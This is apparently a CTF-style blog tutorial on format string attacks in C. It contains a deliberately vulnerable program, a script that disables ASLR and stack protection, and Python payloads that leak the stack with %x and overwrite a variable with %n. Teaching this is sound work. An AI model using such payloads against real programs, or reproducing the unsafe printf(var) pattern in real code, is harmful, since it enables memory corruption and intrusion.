CTF, Reversing, Wargame,

Format string attack. Introduction.

0
Shares

On this post we are going to learn more about format string attacks. On Internet you can find a lot of resources talking about the topic, so this is another one.

What is a format string and how to recognize ?

It’s due laziness of the programmer. In C programming we can declare functions with a variable number of parameters, all this functions has common uses:

  • fprintf: prints to a FILE stream
  • printf: prints to the ‘stdout’ stream
  • sprintf: prints into a string
  • snprintf: prints into a string with length checking
  • vfprintf: print to a FILE stream from a va_arg structure
  • vprintf: prints to ‘stdout’ from a va_arg structure
  • vsprintf: prints to a string from a va_arg structure
  • vsnprintf:  prints to a string with length checking from a va_arg structure

On this functions the first parameter is a so called format string parameter and they convert all the arguments to an output stream. The purpose of this format functions is convert simple C  datatypes to the string representation allowing specify its format and processing the output string. The problem is that instead using a formatted variable specifying the data type with %whatever (printf(“%s”, var);), the programmer thinks about save some bytes and use printf(var); directly. Bad idea. The parameters are saved on the stack (push) and you can pass this parameters as values or references. Let’s see the table:

Format representation
Parameter Output Represented as
%d decimal – int value
%u unsigned decimal – unsigned int value
%x hexadecimal – unsigned int value
%s string – const – unsigned char* reference
%n number of bytes to write so far reference

The three possible uses of format string attacks:

  • Read data from the stack
  • Read characters strings from process’ memory
  • Write an integer to process’ memory

Example: overwriting variable value

Look at this code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// start
int main(int argc, char *argv[]) {

    char passwd[1024];
    static int flag = 1;
    static int key=13; 

printf("Please enter the password to unlock the aircraft: ");
scanf("%s",passwd);
printf("Out:");
printf(passwd);
printf("\n");

// Got to reach this 
if(flag == 1337){
   printf("\nCongratz! We have succesfully hacked the alien's shiprcraft !!!\n key is f0acf075c7efdad1bb51f91a086a3a9b.\n"); 
   exit(0);
}else{
   printf("\nSorry, we can't identified you as 1337 member :( \n"); 
}

// this is the memory address we have to overwrite. 
printf("[DEBUG] flag @ 0x%08x = %d\n", &flag, flag);
exit(0);
}

We start compiling with no stack protector so foreach execution flag is on the same memory address. This is basic level to explain the attack with this example. So here the unprotect.sh that has two lines:

$ cat unprotect.sh 
sysctl -w kernel.randomize_va_space=0
sudo gcc -fno-stack-protector -o $1 $2

The randomize space is disable and gcc compiles with -fno-stack-protector. Let’s execute it:

$ ./example1 
Please enter the password to unlock the aircraft: lost
Out:lost

Sorry, we can't identified you as 1337 member :( 
[DEBUG] flag @ 0x0804a024 = 1

Oh. Something here tell us that flag value is equal 1 and it’s at 0x0804a024  memory address. So let’s read again the code:

// Got to reach this 
if(flag == 1337){

We have to overwrite this value incrementing it. Remember that %n is used for write a number of bytes preceding this parameter. We are going to output the stack:

$ python -c "print '\x24\xa0\x04\x08%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x'" | ./example1 
Please enter the password to unlock the aircraft: Out:$�bffff100.174.174.804a024.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.78252e
Sorry, we can't identified you as 1337 member :( 
[DEBUG] flag @ 0x0804a024 = 1

Notice all sequences of ‘%x.’ that prints out. Where is the flag varaible? On third %x (0x804a024). At this point we are going increment our value. Using gdb is a good option in case the binary don’t show the memory address (almost serious cases, not this one :)).

$ python -c "print '\x24\xa0\x04\x08%x%x%10x%n'" | ./example1 
Please enter the password to unlock the aircraft: Out:$�bffff100174       174

Sorry, we can't identified you as 1337 member :( 
[DEBUG] flag @ 0x0804a024 = 25

$ python -c "print '\x24\xa0\x04\x08%x%x%20x%n'" | ./example1 
Please enter the password to unlock the aircraft: Out:$�bffff100174                 174

Sorry, we can't identified you as 1337 member :( 
[DEBUG] flag @ 0x0804a024 = 35

$ python -c "print '\x24\xa0\x04\x08%x%x%30x%n'" | ./example1 
Please enter the password to unlock the aircraft: Out:$�bffff100174                           174

Sorry, we can't identified you as 1337 member :( 
[DEBUG] flag @ 0x0804a024 = 45

And when you calculate what value you have to overwrite :

python -c "print '\x24\xa0\x04\x08%x%x%1322x%n'" | ./example1 
Please enter the password to unlock the aircraft: Out:$�bffff100174                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       174

Congratz! We have succesfully hacked the alien's shiprcraft !!!
key is f0acf075c7efdad1bb51f91a086a3a9b.

You can download all in one in a zip file here.

References: The Art of Exploitation

No hay contenido relacionado